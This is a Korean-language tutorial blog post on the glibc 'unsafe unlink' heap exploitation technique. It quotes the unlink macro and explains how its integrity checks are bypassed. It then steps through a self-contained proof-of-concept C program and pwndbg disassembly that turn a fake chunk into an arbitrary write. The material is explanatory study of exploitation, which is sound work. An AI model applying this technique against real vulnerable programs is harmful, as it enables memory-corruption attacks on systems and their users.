오늘은 Unsafe Unlink에 대해 이해해보려고 한다...!
Unsafe unlink 취약점은 Fake Chunk를 활용하여 다른 인접한 Chunk와 병합이 일어날 때 발생하는 취약점으로, 이를 통해 원하는 주소에 값을 쓰거나, 출력할 수 있다.
Unsafe unlink를 살펴보기 전 ! 간단하게 Unsorted bin의 특징에 대해 간단하게 짚어보자.
1. Free 된 Chunk를 doubly-linked list로 관리
2. Free 된 Chunk들이 인접할 경우, 병합(Consolidate)
3. FIFO방식(First In First Out)
glibc-2.26의 malloc.c
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
위의 if문을 살펴보기에 앞서, chunksize(), prev_size(), next_chunk() 함수들을 살펴보자.
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
해당 함수는 flag bits를 제외한 Chunk의 사이즈를 가져오는 함수로 정의되어있다.
참고로 chunksize_nomask 함수는 Chunk Header에서 크기 정보를 가져오는 함수이다.
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
prev_size 함수는 mchunk_prev_size 함수와 같이 살펴봐야한다.
우선 next_chunk는 p(포인터) + chunksize(p)로 보아, 다음 Chunk를 가르키는 함수이다.
다음으로 prev_size 함수를 보면, p(chunk)->mchunk_prev_size, 이전 Chunk의 사이즈를 가르키는 함수이다.
이제 다시 malloc.c 코드를 살펴보자 〰!
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P))
if문 안의 코드를 보면,
chunksize(P), 현재 Chunk의 사이즈와 prev_size(next_chunk(P)) 다음 chunk(P 기준)의 prev_size가 같은지 확인한다..
즉, 현재 Chunk 사이즈와 다음 Chunk의 prev_size(이전 Chunk 사이즈, 결국 현재 Chunk의 Size)가 동일한지 확인하는 것! (prev_size는 이전 Chunk의 크기를 저장하고 있음.)
만약 두 값이 같다면, 해당 Chunk의 "fd"와 "bk" 값을 "FD", "BK"에 저장한다.
그 후 다음 if문에서 FD->bk와 BK->fd의 값이 해제할 chunk의 pointer와 같은지 확인한다!
Unsafe unlink는 이러한 과정을 악용하기 위해 아래과 같은 것들이 가능해야한다!
1. Unsafe unlink를 구현하기 위해 2개의 Allocated Chunk가 필요.
2. 첫 번째 메모리에 Fack Chunk를 생성할 수 있어야함.
3. 두 번째 Chunk Header(prev_size, PREV_INUSE flag)를 조작할 수 있어야함.
➡ __builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0), Bypass
4. fake_chunk->fd->bk & fake_chunk->bk->fd의 값이 첫 번째 Chunk의 mchunkptr이어야함.
➡ __builtin_expect (FD->bk != P || BK->fd != P, 0), Bypass
위의 조건이 만족되면, fake_chunk->fd, fake_chunk->bk가 가리키는 영역에 fake_chunk->fd 값을 저장할 수 있다!
실제 바이너리를 통해 살펴보자. 해당 바이너리 파일은 Lazenca 사이트에 있는 코드를 사용하였다!
Unsorted bin에 들어가도록 malloc시, Chunk 사이즈를 크게 만들어줬다.
// gcc -o unlink lazenca_unlink.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
unsigned long *buf1;
void main(){
buf1 = malloc(0x420);
unsigned long *buf2 = malloc(0x420);
fprintf(stderr,"Global buf1's addr : %p\n",&buf1);
fprintf(stderr,"buf1 : %p\n",buf1);
fprintf(stderr,"buf2 : %p\n",buf2);
buf1[2] = (unsigned long)&buf1 - (sizeof(unsigned long)*3);
buf1[3] = (unsigned long)&buf1 - (sizeof(unsigned long)*2);
*(buf2 - 2) = 0x420;
*(buf2 - 1) &= ~1; // PREV_INUSE bit
free(buf2);
char str[16];
buf1[3] = (unsigned long) str;
read(STDIN_FILENO,buf1,0x80);
fprintf(stderr, "Data from Str : %s\n",str);
}
코드는 Lazenca 사이트의 예제 코드를 사용하였다. 다만 malloc시 인자로 전달되는 사이즈를 tcache나 fastbins에 들어가지 않도록 0x80에서 0x420으로 수정하였다.
코드를 간단히 살펴보면 buf1은 전역 변수로 선언되어있고 main 함수에서 buf1, buf2에 각각 0x420 크기의 heap 영역을 할당한다.
buf1(전역 변수)의 fd에는 buf1 - 24의 값을, buf1의 bk에는 buf1 - 16의 값을 넣어준다.
buf2의 prev_size를 0x420으로 수정하고, size의 PREV_INUSE flag 비트를 빼준다.
그 후 buf2를 free해주고, str의 주소를 buf1[3]. 즉, buf1의 bk에 str의 주소를 넣어주면 해당 영역에 값을 쓸 수 있는 것이다!
pwngdb를 통해 동적 분석 시작.
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000000000400677 <+0>: push rbp
0x0000000000400678 <+1>: mov rbp,rsp
0x000000000040067b <+4>: sub rsp,0x30
0x000000000040067f <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400688 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040068c <+21>: xor eax,eax
0x000000000040068e <+23>: mov edi,0x420
0x0000000000400693 <+28>: call 0x400580 <malloc@plt>
0x0000000000400698 <+33>: mov QWORD PTR [rip+0x2009d1],rax # 0x601070 <buf1>
0x000000000040069f <+40>: mov edi,0x420
0x00000000004006a4 <+45>: call 0x400580 <malloc@plt>
0x00000000004006a9 <+50>: mov QWORD PTR [rbp-0x28],rax
0x00000000004006ad <+54>: mov rax,QWORD PTR [rip+0x2009ac] # 0x601060 <stderr@@GLIBC_2.2.5>
0x00000000004006b4 <+61>: lea rdx,[rip+0x2009b5] # 0x601070 <buf1>
0x00000000004006bb <+68>: lea rsi,[rip+0x1a2] # 0x400864
0x00000000004006c2 <+75>: mov rdi,rax
0x00000000004006c5 <+78>: mov eax,0x0
0x00000000004006ca <+83>: call 0x400570 <fprintf@plt>
0x00000000004006cf <+88>: mov rdx,QWORD PTR [rip+0x20099a] # 0x601070 <buf1>
0x00000000004006d6 <+95>: mov rax,QWORD PTR [rip+0x200983] # 0x601060 <stderr@@GLIBC_2.2.5>
0x00000000004006dd <+102>: lea rsi,[rip+0x199] # 0x40087d
0x00000000004006e4 <+109>: mov rdi,rax
0x00000000004006e7 <+112>: mov eax,0x0
0x00000000004006ec <+117>: call 0x400570 <fprintf@plt>
0x00000000004006f1 <+122>: mov rax,QWORD PTR [rip+0x200968] # 0x601060 <stderr@@GLIBC_2.2.5>
0x00000000004006f8 <+129>: mov rdx,QWORD PTR [rbp-0x28]
0x00000000004006fc <+133>: lea rsi,[rip+0x185] # 0x400888
0x0000000000400703 <+140>: mov rdi,rax
0x0000000000400706 <+143>: mov eax,0x0
0x000000000040070b <+148>: call 0x400570 <fprintf@plt>
0x0000000000400710 <+153>: lea rdx,[rip+0x200959] # 0x601070 <buf1>
0x0000000000400717 <+160>: mov rax,QWORD PTR [rip+0x200952] # 0x601070 <buf1>
0x000000000040071e <+167>: add rax,0x10
0x0000000000400722 <+171>: sub rdx,0x18
0x0000000000400726 <+175>: mov QWORD PTR [rax],rdx
0x0000000000400729 <+178>: lea rdx,[rip+0x200940] # 0x601070 <buf1>
0x0000000000400730 <+185>: mov rax,QWORD PTR [rip+0x200939] # 0x601070 <buf1>
0x0000000000400737 <+192>: add rax,0x18
0x000000000040073b <+196>: sub rdx,0x10
0x000000000040073f <+200>: mov QWORD PTR [rax],rdx
0x0000000000400742 <+203>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400746 <+207>: sub rax,0x10
0x000000000040074a <+211>: mov QWORD PTR [rax],0x420
0x0000000000400751 <+218>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400755 <+222>: sub rax,0x8
0x0000000000400759 <+226>: mov rdx,QWORD PTR [rax]
0x000000000040075c <+229>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400760 <+233>: sub rax,0x8
0x0000000000400764 <+237>: and rdx,0xfffffffffffffffe
0x0000000000400768 <+241>: mov QWORD PTR [rax],rdx
0x000000000040076b <+244>: mov rax,QWORD PTR [rbp-0x28]
0x000000000040076f <+248>: mov rdi,rax
0x0000000000400772 <+251>: call 0x400540 <free@plt>
0x0000000000400777 <+256>: mov rax,QWORD PTR [rip+0x2008f2] # 0x601070 <buf1>
0x000000000040077e <+263>: lea rdx,[rax+0x18]
0x0000000000400782 <+267>: lea rax,[rbp-0x20]
0x0000000000400786 <+271>: mov QWORD PTR [rdx],rax
0x0000000000400789 <+274>: mov rax,QWORD PTR [rip+0x2008e0] # 0x601070 <buf1>
0x0000000000400790 <+281>: mov edx,0x80
0x0000000000400795 <+286>: mov rsi,rax
0x0000000000400798 <+289>: mov edi,0x0
0x000000000040079d <+294>: call 0x400560 <read@plt>
0x00000000004007a2 <+299>: mov rax,QWORD PTR [rip+0x2008b7] # 0x601060 <stderr@@GLIBC_2.2.5>
0x00000000004007a9 <+306>: lea rdx,[rbp-0x20]
0x00000000004007ad <+310>: lea rsi,[rip+0xdf] # 0x400893
0x00000000004007b4 <+317>: mov rdi,rax
0x00000000004007b7 <+320>: mov eax,0x0
0x00000000004007bc <+325>: call 0x400570 <fprintf@plt>
0x00000000004007c1 <+330>: nop
0x00000000004007c2 <+331>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004007c6 <+335>: xor rax,QWORD PTR fs:0x28
0x00000000004007cf <+344>: je 0x4007d6 <main+351>
0x00000000004007d1 <+346>: call 0x400550 <__stack_chk_fail@plt>
0x00000000004007d6 <+351>: leave
0x00000000004007d7 <+352>: ret
disassemble main의 결과이다. 주요 부분에 Breakpoint를 걸고, 하나씩 살펴보자.
breakpoint는 위와 같이 설정해두었다.
우선 실행하여 malloc으로 할당받은 영역의 주소 및 size 값을 확인한다.
첫 번째 할당받은 영역은 0x602250으로 보인다.
전역변수인 buf1의 주소는 0x601070으로, 해당 주소에 있는 값을 살펴보면 malloc으로 할당받은 0x602260의 주소값이 들어있는 것을 확인할 수 있다!
Breakpoint 이후 계속 실행하다보면, b *main+203으로 이동한다. 해당 부분에서 첫 번째로 할당받은 Chunk를 확인해보면 아래와 같이 구성되어있다.
Fake Chunk의 fd에는 0x601058, bk에는 0x601060이 들어가있는 것을 확인할 수 있다.
다음 b *main+241로 이동하면, 두 번째 할당받은 영역의 prev_size와 size 값이 조작된 것을 볼 수있다.
prev_size의 값을 0x420, size에서 PREV_INUSE flag 비트를 제외하여, 0x431 -> 0x430으로 바뀐 모습을 확인할 수 있다.
이로 인해 이전에 Free 된 Chunk가 있다고 속이는 것이다!
🤚 여기서 잠깐, 위의 Fake_Chunk->fd=0x601058, Fake_Chunk->bk=0x601060을 넣는 이유를 다시 한 번 짚어보자...
__builtin_expect (FD->bk != P || BK->fd != P, 0)
위의 코드때문에 buf1->fd = (buf1 - 24), buf1->bk = (buf1 - 16)을 넣는 것인데...
우선 FD->bk = (Fake_Chunk->fd)->bk이고, BK->fd = (Fake_Chunk->bk)->fd이다.
Fake_Chunk->fd는 0x601058이다. 그리고 해당 주소에서 bk는 0x601070이 된다!
두 번째로 BK->fd = (Fake_Chunk->bk)는 0x601060이다. 그리고 해당 주소(0x601060)에서 bk는 0x601070을 가르킨다!
간단하게, 도식화로 보면 아래와 같다.
Fake_Chunk->fd가 가르키는 주소는 0x0601058이고, 해당 주소의 bk는 0x601070이다.
Fake_Chunk->bk가 가르키는 주소는 0x601060이고, 해당 주소의 fd는 0x601070부분에 위치.
즉, FD->bk와 BK->fd 모두 전역 변수인 buf1의 주소, 0x601070을 가르킨다!!!
참고로, P는 buf1의 주소(0x601070)를 가르킨다~!
또한 위에서 첫 번째 조건도 어떻게 통과했느지 살펴보자.
__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)
chunksize(P, fake_chunk) = 0이고, prev_size(next_chunk(P))는 Fake_Chunk+size(0) = Fake_Chunk이므로, prev_size(P, fake_chunk)이다. 즉 0 == 0이므로 첫 번째 조건도 스무스하게 통과하게 되는 것이다.
이제 다음으로 이동해보자. 두 가지의 조건문(if)을 모두 지났으므로 아래의 2줄이 실행된다.
FD->bk = BK;
BK->fd = FD;
(Fake_Chunk->fd)->bk = Fake_chunk->bk, 0x601070(0x601058->bk) = 0x601060
(Fake_Chunk->bk)->fd = Fake_chunk->fd, 0x601070(0x601060->fd) = 0x601058
따라서, Free 이후에는 0x601070에는 0x601058을 가르키게 된다. (Free 전, b *main+251, Free 후 b *main+256)
Free 전 buf1에 저장된 주소 값, 0x602260
Free 이후 buf1에 저장된 주소 값, 0x601058!
이 상태에서 read(0, buf1, 0x80)을 호출하면, 0x601058의 주소에 값을 쓰게 되는 것이다.
그러나 아직 코드가 끝난 것이 아니므로 더 살펴보겠다..
char str[16];
buf1[3] = (unsigned long) str;
read(STDIN_FILENO,buf1,0x80);
fprintf(stderr, "Data from Str : %s\n",str);
남은 코드는 위 부분이다.
str 변수를 선언하고, buf1[3] 부분. 즉, 0x601058->bk부분인 0x601070에 str 변수의 주소를 덮어씌우는 것이다.
그리고 아래의 read(STDIN_FILENO,buf1,0x80);을 호출하면, str 변수에 값을 쓰는 것이다!!!
b *main+274로 이동하면, buf1의 주소 값이 str 변수의 주소(0x00007fffffffe450)로 바뀐 것을 확인할 수 있다.
이제 다음으로 read 함수부분으로 이동해보자.
b *main+294부분으로 이동해보면, 위와 같이 rsi에 buf1에 str의 주소(0x00007fffffffe450)가 담긴 것을 확인할 수 있다!
hihihihihihi을 입력하고 출력하는 부분으로 살펴보면, str 변수에도 마찬가지로 hihihihihihi 문자열이 들어있는 것을 확인할 수 있다!
unsafe unlink... 뭔가 어려웠다...........
-끗- 🤘
+++ 추가 +++
다음 Chunk를 찾을 때, Chunk 주소 + size를 통해 Chunk를 찾는다.
이전 Chunk는 Chunk주소 - prev_size를 통해 이전 Chunk를 찾는다.
※ 참고 블로그 및 링크
👉 http://lazenca.net/pages/viewpage.action?pageId=1148137
👉 https://jeongzero.oopy.io/c5b2e8fc-88b8-4d2a-a0fa-e38db89c7c6c
👉 https://github.com/shellphish/how2heap/blob/master/glibc_2.35/unsafe_unlink.c